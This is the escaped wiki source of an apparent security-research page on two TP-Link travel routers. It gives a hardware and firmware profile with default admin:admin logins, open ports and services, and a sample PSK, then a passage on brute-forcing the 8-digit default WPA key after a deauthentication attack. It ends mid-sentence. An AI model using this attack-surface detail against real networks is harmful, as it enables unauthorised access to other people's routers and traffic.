&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Some vulnerabilities, Ongoing Examination&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Ports&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;USB 2.0, 10/100Mbps WAN/LAN Port&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;10/100 Mbps WAN/LAN Port&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Buttons&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Reset, WPS&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Reset&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;LED&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Power/Status, WAN, WLAN, USB&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Power/Status&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Power&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;5V/2A DC&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;5V/1A DC&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;WLAN&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;2.4GHz: 802.11b/g/n (Up to 300Mbps), 5GHz: 802.11ac/n/a (Up to 433Mbps)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;2.4GHz: 802.11b/g/n (Up to 300Mbps)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Other&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;3 Mode Switch&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey;border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;FCC-ID&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;TE7WR902ACV3&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;TE7WR802NV4&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;System&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Ralink APSoC&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Processor&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;MT7628 MIPS24KEc V5.5 (580 MHz)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;BogoMIPS&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;386.04&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Memory&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;DRAM: 64MB (16bit)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Storage&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Boot from: SPI Flash GD25Q64B&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Ethernet MAC&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;98:DA:C4:6E:00:FC&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;WLAN MAC&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;2.4GHz: 98:da:c4:6e:00:fc, 5GHz: 98:da:c4:6e:00:fd&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;WLAN SSID&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;2.4Ghz: TP-Link_00FC; 5Ghz: TP-Link_00FC_5G; TP-Link_Guest_00FC&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;2.4Ghz: TP-Link_C3AE&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;WLAN PSK&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;37490720&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Default IPv4&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;WLAN: 192.168.1.1&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Hostname&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;TL-WR902AC&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;TL-WR802N&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;NET Protocols&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;SSH, FTP, HTTP, SMB, uPnP&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;SSH, HTTP, uPnP&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Interfaces&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;ttyS1: console, eth0|eth0.2|eth0.3|eth0.4|eth0.5|eth0.6|br0, ra0|rai0: WLAN&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Ports&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;21/tcp ftp, 22/tcp ssh, 80/tcp http, 139/tcp smbd, 445/tcp smbd, 1900/tcp open upnp, 1900/udp wscd: SSDP, 20002/udp httpd?, 40955/tcp upnp&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;22/tcp ssh, 53/tcp dnsmasq, 80/tcp http, 1900/tcp open upnp, 1900/udp wscd: SSDP, 20002/udp httpd?&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Webpage&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;http://tplink.net&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Webaccess&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;admin:admin (Default)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;admin:admin (Default)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Root Password&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: whitesmoke;    border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: whitesmoke;    border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Other Login Pw&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;admin:admin (Default)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;admin:admin (Default)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 2px 2px 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Firmware&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;0.9.1 0.1 v0089.0 Build 170828 Rel.57433n(4555)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;0.9.1 3.17 v0001.0 Build 190428 Rel.63523n&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px 2px 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Hardware&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;TL-WR902AC(EU) V3&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;TL-WR802N(EU) V4&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 2px 2px 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Baudrate&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;115200 (8N1) -&amp;gt; 7N1 for UBoot but also works for linux, but no input&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Bootdelay&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey;border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Bootloader&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;U-Boot 1.1.3 || Ralink UBoot Version: 4.3.0.0&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;mtdparts&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;dev:    size   erasesize  name&amp;lt;br&amp;gt;&lt;br /&gt;
mtd0: 00020000 00010000 &amp;quot;boot&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
mtd1: 00140000 00010000 &amp;quot;kernel&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
mtd2: 00660000 00010000 &amp;quot;rootfs&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
mtd3: 00010000 00010000 &amp;quot;config&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
mtd4: 00010000 00010000 &amp;quot;romfile&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
mtd5: 00010000 00010000 &amp;quot;rom&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
mtd6: 00010000 00010000 &amp;quot;radio&amp;quot;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Filesystem&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;squashfs, fuse&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Image&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;TD-W8968&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Linux&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;2.6.36&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;2.6.36&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px 2px 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Kernel cmdline&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;console=ttyS1,115200 root=/dev/mtdblock2 rootfstype=squashfs init=/sbin/init&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 2px 2px 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Shell&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;sh, ash&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;sh, ash&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;BusyBox&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;v1.19.2 (2017) multi-call binary&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px 2px 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Services&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;vsftpd; sshd; http; smbd; uPnP, VLAN, IPv6&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Wireless Security&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify&amp;quot;&amp;gt;In order to process with the next chapters, access to the LAN of the router is required. Since it isn&#039;t mandatory to change the Pre-Shared Key (PSK) nor the Service Set Identifier (SSID) (TP-Link_XXXX) during setup, I assume, that most general users leave its defaults. Leaving the device almost unsecured with an 8 digit ([0-9]{8}) PSK. The default PSK can be easily aquired using a [https://wiki.elvis.science/index.php?title=WPA/WPA2_PSK_deauthentication_attack deauthentication attack]. Using an Intel i9-9980HK CPU with Aircrack-ng 1.6 on macOS 10.15 takes worst-case 78 minutes with 21177k/s. Using a more powerful setup with modern GPUs in combination with hashcat would drastically decrease the time brute-forcing. Leading to a attractive attack vector, even for a mobile device that 